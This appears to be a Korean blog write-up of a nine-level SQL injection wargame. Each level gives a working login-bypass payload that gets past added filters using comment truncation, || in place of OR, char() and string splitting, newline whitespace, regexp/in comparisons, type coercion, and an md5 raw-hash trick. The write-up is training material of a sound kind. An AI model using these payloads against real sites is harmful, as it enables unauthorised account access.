webhacking/sql, sql injection

itchy

qkqhxla1 2014. 8. 29. 17:52

http://itchy.dothome.co.kr/


예상 쿼리문 : select id from table where id='$_GET[id]' and pw='$_GET[pw]'


1. admin으로 로그인하면 통과. id=guest,pw=guest입력시 guest로 로그인 가능.

필터링된게 없는거 같으므로

admin'#&pw=guest 등으로 pw를 막아버리면 됨.

만들어질 예상 쿼리문 : select id from table where id='admin'#' and pw='guest'

?id=admin'%23&pw=guest %23은 #으로 mysql 주석.



2. id에 #과 --필터링 추가.

id=a&pw=g' or id='admin 으로 id, pw다틀려도 마지막 id='admin으로 true를 만드면 됨.

만들어질 예상 쿼리문 : select id from table where id='a' and pw='g' or id='admin'

?id=a&pw=g%27%20or%20id=%27admin 



3. and, or에 대한 필터링 추가.

2번과 마찬가지로 하면 되는데 or대신 ||로 우회하면 됨.

?id=a&pw=g%27%20||%20id=%27admin 



4. id,pw모두 admin, 공백 필터링 추가.

admin은 char나 concat같은걸로 우회해주면 되고, 공백은 %0a,%0b,%0c,%0d같은걸로 우회

지금 생각해보니 char말고도 'adm' 'in' 이런식으로 우회해줘도 될것같다.

id=g&pw=g' || id=char(97,100,109,105,110)#

예상 쿼리문 : select id from table where id='g' and pw='g' || id=char(97,100,109,105,110)#'

?id=g&pw=g%27%0a||%0aid=char(97,100,109,105,110)%23

?id=g&pw=g%27%0a||%0aid=%27adm%27%0a%27in%27%23



5. id,pw모두 =,like 필터링 추가.

=,like가 막혀있으면 in이나 regexp로 우회 가능.

id=guest&pw=g' || id regexp 'adm' 'in

예상 쿼리문 : select id from table where id='guest' and pw='g' || id regexp 'adm' 'in'

?id=guest&pw=g%27%0a||%0aid%0aregexp%0a%27adm%27%0a%27in

또는 id=guest&pw=g' || id in('adm' 'in')#

예상 쿼리문 : select id from table where id='guest' and pw='g' || id in('adm' 'in')#'

?id=guest&pw=g%27%0a||%0aid%0ain(%27adm%27%0a%27in%27)%23



6. id,pw 모두 ||, &&필터링 추가.

id=a' 'dmin&pw=g'<1# 으로 만들어줌.

예상 쿼리문 : select id from table where id='a' 'dmin' and pw='g'<1#'

pw부분에서는 쿼리가 'g'<1으로 완성되는데, mysql에서는 문자열을 숫자로 표현하면 무조건 0이 됨.

그러므로 'g'<1은 무조건 true가 되서 비밀번호 검사를 무시.

또 실험해본결과 mysql에서 다르다는 문자인 <>으로도 가능하다는것을 확인.

id=a' 'dmin&pw=g'<>1#

예상 쿼리문 : select id from table where id='a' 'dmin' and pw='g'<>1#'

?id=a%27%0a%27dmin&pw=g%27<1%23

?id=a%27%0a%27dmin&pw=g%27<>1%23



7. pw에 md5함수 추가. 

예상 바뀐 쿼리문 : select id from table where id='$_GET[id]' and pw=md5('$_GET[pw]')

id=adm' 'in&pw=')<1# 으로 만들어줌.

그리고 실험결과 select md5('')<1; 의 결과가 1이 나옴으로써, true가 된다는걸 확인할수 있었음.

예상 쿼리문 : select id from table where id='adm' 'in' and pw=md5('')<1#')

?id=adm%27%0a%27in&pw=%27)<1%23



8. id와 pw 에 모두 /, *필터링 추가.

? 7번 문제를 원래 /**/ 등으로 md5를 감싸서 없애버리고 푸는 문제였나 봅니다....

7번에서 이미 8번답을 그냥 써 버린 저같은 경우는 그냥 7번과 똑같은 쿼리문으로 8번 통과....

7번문제를 /**/로 풀자면..

id='adm' 'in'/*' and pw=md5('*/#') 녹색은 /**/에 의한 주석처리, 파랑색은 #에 의한 주석처리.

?id=adm%27%0a%27in%27/*&pw=*/%23



9. 4번의 필터링을 지우고(id에 admin쓸수 있음.), id와 pw모두 mysql_real_escape_string 함수와 md5 두번째 인자에 true 추가(md5(text,true))

예상 바뀐 쿼리문 : select id from table where id=mysql_readl_escape_string('$_GET[id]') and pw=mysql_readl_escape_string(md5('$_GET[pw]',true))

홑따옴표같은건 mysql_real_escape_string함수에 의해 못씀. md5두번째 인자로 true가 되는건 webhacking.kr 의 문제의 어디서 본거같은데... 중간에 =들어가는 md5값으로 대입하면 됨.

51번 문제였네요. 1839431 을 md5해쉬한값이 �7맓�켂@J�'='ぉ 으로 중간에 =이 들어간다는걸

확인. id=admin, pw=1839431

'webhacking > sql, sql injection' 카테고리의 다른 글

rubiya.kr 17번.  (0) 2014.08.30
rubiya.kr 16번.  (0) 2014.08.30
rubiya.kr 14번.  (0) 2014.08.28
rubiya.kr 13번.  (0) 2014.08.28
rubiya.kr 12번.  (0) 2014.08.28